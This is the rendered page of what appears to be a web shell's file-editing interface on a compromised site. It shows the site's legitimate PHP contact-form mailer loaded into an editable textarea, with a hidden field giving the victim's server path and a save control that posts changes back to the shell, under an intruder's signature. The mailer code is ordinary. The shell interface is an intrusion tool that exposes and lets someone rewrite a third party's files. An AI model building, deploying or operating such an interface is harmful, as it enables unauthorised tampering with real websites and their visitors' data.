

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: send_contact.php</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'>&lt;?php
declare(strict_types=1);

$config = require __DIR__ . &#039;/assets/mail_config.php&#039;;

function json_response(bool $ok, string $message, int $statusCode = 200): void
{
    http_response_code($statusCode);
    header(&#039;Content-Type: application/json; charset=utf-8&#039;);
    echo json_encode([&#039;ok&#039; =&gt; $ok, &#039;message&#039; =&gt; $message], JSON_UNESCAPED_SLASHES);
    exit;
}

function clean_value(string $value, int $maxLength): string
{
    $value = trim($value);
    $value = preg_replace(&#039;/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/u&#039;, &#039;&#039;, $value) ?? &#039;&#039;;
    if (function_exists(&#039;mb_substr&#039;)) {
        return mb_substr($value, 0, $maxLength);
    }
    return substr($value, 0, $maxLength);
}

function clean_header_value(string $value, int $maxLength = 160): string
{
    return str_replace([&quot;\r&quot;, &quot;\n&quot;], &#039; &#039;, clean_value($value, $maxLength));
}

function smtp_read($socket): string
{
    $response = &#039;&#039;;
    while (($line = fgets($socket, 515)) !== false) {
        $response .= $line;
        if (strlen($line) &gt;= 4 &amp;&amp; $line[3] === &#039; &#039;) {
            break;
        }
    }
    return $response;
}

function smtp_expect($socket, array $codes): string
{
    $response = smtp_read($socket);
    $code = (int) substr($response, 0, 3);
    if (!in_array($code, $codes, true)) {
        throw new RuntimeException(&#039;SMTP error: &#039; . trim($response));
    }
    return $response;
}

function smtp_command($socket, string $command, array $codes): string
{
    fwrite($socket, $command . &quot;\r\n&quot;);
    return smtp_expect($socket, $codes);
}

function smtp_send_mail(array $config, string $replyToEmail, string $replyToName, string $subject, string $textBody, string $htmlBody): void
{
    $host = (string) $config[&#039;smtp_host&#039;];
    $port = (int) $config[&#039;smtp_port&#039;];
    $username = (string) $config[&#039;smtp_username&#039;];
    $password = (string) $config[&#039;smtp_password&#039;];
    $fromEmail = (string) $config[&#039;from_email&#039;];
    $fromName = clean_header_value((string) $config[&#039;from_name&#039;]);
    $toEmail = (string) $config[&#039;to_email&#039;];
    $toName = clean_header_value((string) $config[&#039;to_name&#039;]);

    $transport = ($config[&#039;smtp_secure&#039;] ?? &#039;ssl&#039;) === &#039;ssl&#039; ? &#039;ssl://&#039; : &#039;&#039;;
    $socket = @stream_socket_client($transport . $host . &#039;:&#039; . $port, $errno, $errstr, 20, STREAM_CLIENT_CONNECT);
    if (!$socket) {
        throw new RuntimeException(&#039;Could not connect to SMTP server: &#039; . $errstr);
    }

    stream_set_timeout($socket, 20);

    try {
        smtp_expect($socket, [220]);
        smtp_command($socket, &#039;EHLO &#039; . ($_SERVER[&#039;SERVER_NAME&#039;] ?? &#039;swizet.com&#039;), [250]);
        smtp_command($socket, &#039;AUTH LOGIN&#039;, [334]);
        smtp_command($socket, base64_encode($username), [334]);
        smtp_command($socket, base64_encode($password), [235]);
        smtp_command($socket, &#039;MAIL FROM:&lt;&#039; . $fromEmail . &#039;&gt;&#039;, [250]);
        smtp_command($socket, &#039;RCPT TO:&lt;&#039; . $toEmail . &#039;&gt;&#039;, [250, 251]);
        smtp_command($socket, &#039;DATA&#039;, [354]);

        $boundary = &#039;swizet_&#039; . bin2hex(random_bytes(16));
        $encodedSubject = function_exists(&#039;mb_encode_mimeheader&#039;)
            ? mb_encode_mimeheader($subject, &#039;UTF-8&#039;, &#039;B&#039;)
            : $subject;

        $headers = [
            &#039;Date: &#039; . date(DATE_RFC2822),
            &#039;From: &#039; . $fromName . &#039; &lt;&#039; . $fromEmail . &#039;&gt;&#039;,
            &#039;To: &#039; . $toName . &#039; &lt;&#039; . $toEmail . &#039;&gt;&#039;,
            &#039;Reply-To: &#039; . clean_header_value($replyToName) . &#039; &lt;&#039; . $replyToEmail . &#039;&gt;&#039;,
            &#039;Subject: &#039; . $encodedSubject,
            &#039;MIME-Version: 1.0&#039;,
            &#039;Content-Type: multipart/alternative; boundary=&quot;&#039; . $boundary . &#039;&quot;&#039;,
            &#039;Message-ID: &lt;&#039; . bin2hex(random_bytes(12)) . &#039;@swizet.com&gt;&#039;,
        ];

        $message = implode(&quot;\r\n&quot;, $headers) . &quot;\r\n\r\n&quot;;
        $message .= &#039;--&#039; . $boundary . &quot;\r\n&quot;;
        $message .= &quot;Content-Type: text/plain; charset=UTF-8\r\n&quot;;
        $message .= &quot;Content-Transfer-Encoding: 8bit\r\n\r\n&quot;;
        $message .= $textBody . &quot;\r\n\r\n&quot;;
        $message .= &#039;--&#039; . $boundary . &quot;\r\n&quot;;
        $message .= &quot;Content-Type: text/html; charset=UTF-8\r\n&quot;;
        $message .= &quot;Content-Transfer-Encoding: 8bit\r\n\r\n&quot;;
        $message .= $htmlBody . &quot;\r\n\r\n&quot;;
        $message .= &#039;--&#039; . $boundary . &quot;--\r\n&quot;;

        $message = preg_replace(&#039;/^\./m&#039;, &#039;..&#039;, $message) ?? $message;
        fwrite($socket, $message . &quot;\r\n.\r\n&quot;);
        smtp_expect($socket, [250]);
        smtp_command($socket, &#039;QUIT&#039;, [221]);
    } finally {
        fclose($socket);
    }
}

if ($_SERVER[&#039;REQUEST_METHOD&#039;] !== &#039;POST&#039;) {
    json_response(false, &#039;Invalid request method.&#039;, 405);
}

$name = clean_value($_POST[&#039;name&#039;] ?? &#039;&#039;, 160);
$email = clean_value($_POST[&#039;email&#039;] ?? &#039;&#039;, 160);
$phone = clean_value($_POST[&#039;phone&#039;] ?? &#039;&#039;, 160);
$company = clean_value($_POST[&#039;company&#039;] ?? &#039;&#039;, 160);
$userMessage = clean_value($_POST[&#039;message&#039;] ?? &#039;&#039;, 2000);

if ($name === &#039;&#039; || $email === &#039;&#039; || $userMessage === &#039;&#039;) {
    json_response(false, &#039;Please complete your name, email address and message.&#039;, 422);
}

if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    json_response(false, &#039;Please enter a valid email address.&#039;, 422);
}

$subject = &#039;New Swizet website enquiry from &#039; . clean_header_value($name, 80);

$textBody = &quot;A new enquiry was submitted from the Swizet website.\n\n&quot; .
    &quot;Name: {$name}\n&quot; .
    &quot;Email: {$email}\n&quot; .
    &quot;Phone: &quot; . ($phone !== &#039;&#039; ? $phone : &#039;Not provided&#039;) . &quot;\n&quot; .
    &quot;Company: &quot; . ($company !== &#039;&#039; ? $company : &#039;Not provided&#039;) . &quot;\n\n&quot; .
    &quot;Message:\n{$userMessage}\n&quot;;

$htmlBody = &#039;&lt;!doctype html&gt;&lt;html&gt;&lt;body&gt;&#039; .
    &#039;&lt;h2&gt;New Swizet website enquiry&lt;/h2&gt;&#039; .
    &#039;&lt;table cellpadding=&quot;8&quot; cellspacing=&quot;0&quot; border=&quot;1&quot; style=&quot;border-collapse:collapse;border-color:#d9e5e2;&quot;&gt;&#039; .
    &#039;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Name&lt;/th&gt;&lt;td&gt;&#039; . htmlspecialchars($name, ENT_QUOTES, &#039;UTF-8&#039;) . &#039;&lt;/td&gt;&lt;/tr&gt;&#039; .
    &#039;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Email&lt;/th&gt;&lt;td&gt;&#039; . htmlspecialchars($email, ENT_QUOTES, &#039;UTF-8&#039;) . &#039;&lt;/td&gt;&lt;/tr&gt;&#039; .
    &#039;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Phone&lt;/th&gt;&lt;td&gt;&#039; . htmlspecialchars($phone !== &#039;&#039; ? $phone : &#039;Not provided&#039;, ENT_QUOTES, &#039;UTF-8&#039;) . &#039;&lt;/td&gt;&lt;/tr&gt;&#039; .
    &#039;&lt;tr&gt;&lt;th align=&quot;left&quot;&gt;Company&lt;/th&gt;&lt;td&gt;&#039; . htmlspecialchars($company !== &#039;&#039; ? $company : &#039;Not provided&#039;, ENT_QUOTES, &#039;UTF-8&#039;) . &#039;&lt;/td&gt;&lt;/tr&gt;&#039; .
    &#039;&lt;/table&gt;&#039; .
    &#039;&lt;h3&gt;Message&lt;/h3&gt;&#039; .
    &#039;&lt;p&gt;&#039; . nl2br(htmlspecialchars($userMessage, ENT_QUOTES, &#039;UTF-8&#039;)) . &#039;&lt;/p&gt;&#039; .
    &#039;&lt;/body&gt;&lt;/html&gt;&#039;;

try {
    smtp_send_mail($config, $email, $name, $subject, $textBody, $htmlBody);
    json_response(true, &#039;Thank you. Your enquiry has been sent to Swizet.&#039;);
} catch (Throwable $exception) {
    error_log(&#039;Swizet contact form mail error: &#039; . $exception-&gt;getMessage());
    json_response(false, &#039;Sorry, we could not send your enquiry right now. Please try again later.&#039;, 500);
}
</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/swizet.com/send_contact.php'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Fswizet.com' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>